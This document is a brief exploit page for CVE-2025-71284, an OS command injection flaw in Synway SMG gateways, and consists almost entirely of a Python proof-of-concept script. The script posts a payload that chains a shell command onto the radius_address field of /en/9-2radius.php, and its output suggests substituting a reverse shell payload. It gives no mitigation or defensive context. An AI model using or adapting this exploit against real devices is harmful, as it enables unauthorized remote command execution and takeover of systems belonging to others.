CVE-2025-71284 Synway SMG远程命令执行漏洞

import requests def exploit(target_url): """ PoC for CVE-2025-71284 - OS Command Injection in Synway SMG """ url = f"{target_url}/en/9-2radius.php" # Injecting a simple command to create a file or ping (example) payload = "127.0.0.1; touch /tmp/poc_success; #" data = { "radius_address": payload, "radius_address2": "127.0.0.1", "shared_secret2": "testing", "source_ip": "127.0.0.1", "timeout": "5", "retry": "3", "save": "1", "enable_radius": "1" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {url}") print(f"[+] Payload: {payload}") print("[+] Check if the file /tmp/poc_success was created or use a reverse shell payload.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target exploit(target)